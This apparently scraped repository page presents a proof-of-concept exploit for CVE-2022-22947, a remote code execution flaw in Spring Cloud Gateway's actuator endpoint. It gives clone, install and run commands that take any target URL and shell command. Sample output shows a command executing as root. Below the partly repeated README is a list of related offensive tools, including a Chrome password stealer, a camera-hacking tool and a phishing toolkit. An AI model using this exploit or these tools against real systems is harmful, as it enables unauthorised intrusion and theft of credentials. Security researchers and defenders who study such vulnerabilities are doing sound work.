Spring Cloud Gateway < 3.0.7 & < 3.1.1 Code Injection (RCE)

CVE: CVE-2022-22947

CVSS: 10.0 (Vmware - https://tanzu.vmware.com/security/cve-2022-22947)

Applications using Spring Cloud Gateway are vulnerable to a code injection attack when the Gateway Actuator endpoint is enabled, exposed and unsecured. A remote attacker could make a maliciously crafted request that could allow arbitrary remote execution on the remote host.

Usage

git clone https://github.com/carlosevieira/CVE-2022-22947
cd CVE-2022-22947
pip3 install -r requirements.txt
python3 exploit.py http://target 'id'

[email protected]:~/exploit/CVE-2022-22947/$ python3 exploit.py http://localhost:8080 'id'

    ###################################################
    #                                                 #
    #   Exploit for CVE-2022-22947                    #
    #   - Carlos Vieira (Crowsec)                     #
    #                                                 #
    #   Usage:                                        #
    #   python3 exploit.py <url> <command>            #
    #                                                 #
    #   Example:                                      #
    #   python3 exploit.py http://localhost:8080 'id' #
    #                                                 #
    ###################################################
    
[+] Stage deployed to /actuator/gateway/routes/rtxhovup
[+] Executing command...
[+] getting result...
[+] Stage removed!
uid=0(root) gid=0(root) groups=0(root)

References

https://wya.pl/2022/02/26/cve-2022-22947-spel-casting-and-evil-beans/

https://spring.io/blog/2022/03/01/spring-cloud-gateway-cve-reports-published

https://tanzu.vmware.com/security/cve-2022-22947

Spring Cloud Gateway < 3.0.7 & < 3.1.1 Code Injection (RCE)

Related tags

Overview

Spring Cloud Gateway < 3.0.7 & < 3.1.1 Code Injection (RCE)

CVE: CVE-2022-22947

CVSS: 10.0 (Vmware - https://tanzu.vmware.com/security/cve-2022-22947)

Applications using Spring Cloud Gateway are vulnerable to a code injection attack when the Gateway Actuator endpoint is enabled, exposed and unsecured. A remote attacker could make a maliciously crafted request that could allow arbitrary remote execution on the remote host.

Usage

References

Owner

Carlos Vieira

domato but as a website

Python sandbox runners for executing code in isolation aka snekbox.

LinOTP - the open source solution for two factor authentication

Ensure secure infrastructure and consistency with the firewall rules

A deobfuscator for multiple python obfuscators

edgedressing leverages a Windows "feature" in order to force a target's Edge browser to open. This browser is then directed to a URL of choice.

an impacket-dependent script exploiting CVE-2019-1040

A collection of over 5.1 million sub-domains and assets belonging to public bug bounty programs, compiled into a repo, for performing bulk operations.

Log4j minecraft with python

Apache Flink 目录遍历漏洞批量检测 (CVE-2020-17519)

SSL / TLS Checking Tool written in Python3

This is an injection tool that can inject any xposed modules apk into the debug android app

Lightweight and beneficial Dependency Injection plugin for apscheduler

Recon is a script to perform a full recon on a target with the main tools to search for vulnerabilities.

Python-based proof-of-concept tool for generating payloads that utilize unsafe Java object deserialization.

PoC for CVE-2020-6207 (Missing Authentication Check in SAP Solution Manager)

Phishing Campaign Toolkit

Chrome Post-Exploitation is a client-server Chrome exploit to remotely allow an attacker access to Chrome passwords, downloads, history, and more.

Cam-Hacker: Ip Cameras hack with python

Now patched 0day for force reseting an accounts password